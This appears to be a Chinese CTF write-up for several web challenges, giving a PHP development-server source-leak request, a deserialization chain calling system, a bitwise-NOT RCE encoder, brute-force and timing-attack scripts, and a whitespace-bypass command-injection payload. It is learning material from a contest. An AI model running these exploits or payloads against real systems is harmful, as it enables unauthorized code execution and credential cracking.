wp

前言

因为一些事情,只抽出了一点时间打比赛,最后10分钟看了ezPHP,没想到有思路,但是比赛结束才出。。。(上次蜀道山也是
这次比赛打的很不尽人意,特别是hellohacker,基础RCE掌握还是不够扎实。
不出意外应该是2024年第二篇也是最后一篇博客了,要与期末考试对线了。
demo,我不会止步于此的!!!这个寒假我一定要好好沉淀,不再拖inkey爹和洋参的后腿(呜呜呜

ezPHP

0x01

进入题目,全是404,扫到flag.php,结合PHP<= 7 . 4 . 21 development server源码泄露漏洞

利用POC获取源码,注意回车

GET /flag.php HTTP/1.1
Host: challenge.wucup.cn:39391


GET /Kawakaze HTTP/1.1


获取源码后利用call_user_func打反序列化,同时利用S绕过正则

<?php
error_reporting(0);

class a{
public $OAO;
public $QAQ;
public $OVO;
public function __toString(){
if(!preg_match('/hello/', $this->OVO)){
if ($this->OVO === "hello") {
return $this->OAO->QAQ;
}
}
}
public function __invoke(){
return $this->OVO;
}
}

class b{
public $pap;
public $vqv;
public function __get($key){
$functioin = $this->pap;
return $functioin();
}
public function __toString(){
return $this->vqv;
}
}
class c{
public $OOO;
public function __invoke(){
@$_ = $this->OOO;
$___ = $_GET;
var_dump($___);
if (isset($___['h_in.t'])) {
unset($___['h_in.t']);
}
var_dump($___);
echo @call_user_func($_, ...$___);
}
}
class d{
public $UUU;
public $uuu;
public function __wakeup(){
echo $this->UUU;
}
public function __destruct(){
$this->UUU;
}
}


$a=new d();
$a->UUU=new a();
$a->UUU->OVO='hell%6f';
$a->UUU->OAO=new b();
$a->UUU->OAO->pap=new c();
$a->UUU->OAO->pap->OOO='system';
echo serialize($a);
#O:1:"d":2:{s:3:"UUU";O:1:"a":3:{s:3:"OAO";O:1:"b":2:{s:3:"pap";O:1:"c":1:{s:3:"OOO";s:6:"system";}s:3:"vqv";N;}s:3:"QAQ";N;s:3:"OVO";s:7:"hell%6f";}s:3:"uuu";N;}
#把hello之前的s换成S
#O:1:"d":2:{s:3:"UUU";O:1:"a":3:{s:3:"OAO";O:1:"b":2:{s:3:"pap";O:1:"c":1:{s:3:"OOO";s:6:"system";}s:3:"vqv";N;}s:3:"QAQ";N;s:3:"OVO";S:5:"hell%6f";}s:3:"uuu";N;}```

...$___解析$_GET参数,并取value,则在GET中构造1=cat /flag

image-20241201203606092

hellohacker

0x01

第一眼看见

$required_chars = ['p', 'e', 'v', 'a', 'n', 'x', 'r', 'o', 'z'];

以为是/var/log/nginx/access.log + UA注入,发现失败

0x02

尝试绕过checkRequiredChars,经过测试发现需要上述字母连在一起进行排列组合,下载下来prohibited.txt

import requests

url = "http://challenge.wucup.cn:33132/prohibited.txt"

response = requests.get(url)

if response.status_code == 200:

with open("file.txt", "wb") as file:

​ file.write(response.content)

print("文件下载成功!")

else:

print(f"下载失败,状态码:{response.status_code}")

排列组合找出缺失的组合,缺失的组合为oxzverapn

from itertools import permutations

# 全部排列
letters = "pevanxroz"
all_permutations = set("".join(p) for p in permutations(letters))

# 从文件中读取排列
with open("file.txt", "r") as file:
file_permutations = set(line.strip() for line in file)

# 找出缺失的组合
missing_permutations = all_permutations - file_permutations

# 输出结果
print(f"缺失的组合数量: {len(missing_permutations)}")
if missing_permutations:
print("以下组合缺失:")
for perm in missing_permutations:
print(perm)
else:
print("没有缺失的组合。")

0x03

取反RCE

import urllib.parse

# 自定义 URL 编码函数,逐字节处理
def custom_urlencode(data):
# 将字符转换为单字节的十六进制编码
return ''.join(f'%{ord(char):02X}' for char in data)

# 从命令行输入函数名称
system = input('[+]your function: ').strip()

# 从命令行输入命令
command = input('[+]your command: ').strip()

# 按位取反并逐字节处理
inverted_system = ''.join([chr(~ord(c) & 0xFF) for c in system]) # 按位取反
inverted_command = ''.join([chr(~ord(c) & 0xFF) for c in command])

# 使用自定义编码函数,避免 UTF-8 多字节扩展
encoded_system = custom_urlencode(inverted_system)
encoded_command = custom_urlencode(inverted_command)

# 输出格式化结果
print(f"[*] (~{encoded_system})(~{encoded_command});")

timecrack

0x01

爆破一分钟,每一分钟的第0秒,随机生成的password为114

import time
import requests

# 设置目标 URL
url = "http://challenge.wucup.cn:47579/" # 替换为实际目标 URL

# 设置发送的数据
data = {
"input": "114"
}

while True:
try:
# 发送 GET 请求
response = requests.get(url, params=data)

# 打印状态码
print(f"Status Code: {response.status_code}")

# 检查响应内容
if "The next challenge in" in response.text:
print(f"Success! Response: {response.text}")
break
else:
print(f"w36")

# 每秒发送一次
time.sleep(1)
except requests.exceptions.RequestException as e:
print(f"An error occurred: {e}")
break

0x02

利用时间爆破8位数字密码

import time
import requests

# 设置目标 URL
url = "http://challenge.wucup.cn:47579/Trapping2147483647.php" # 替换为实际目标 URL

# 初始化变量
password_length = 8 # 密码长度
password = "" # 存储已破解的密码部分

# 逐位破解密码
for position in range(password_length):
for digit in range(10): # 尝试每一位的数字 (0-9)
# 构造当前测试密码
test_pass = password + str(digit) # 当前密码已知部分加上尝试的数字
test_pass = test_pass.ljust(password_length, "0") # 补足长度为8

# 记录开始时间
start_time = time.time()

# 发送 POST 请求
response = requests.post(url, data={"pass": test_pass})

# 记录结束时间
elapsed_time = time.time() - start_time

print(f"Testing: {test_pass}, Time: {elapsed_time:.2f}s, Response: {response.text.strip()}")

# 判断当前位是否正确
if elapsed_time > (position + 1): # 每正确一个字符,延迟会逐渐增加
password += str(digit)
print(f"Found digit: {digit}, Current password: {password}")
break

# 输出完整密码
print(f"Cracked password: {password}")

0x03

无回显RCE利用tee外带到index.php,过滤了空白符{},利用$IFS$9绕过

payload:tac$IFS$9/flag|tee$IFS$9index.php

signin

·AntSword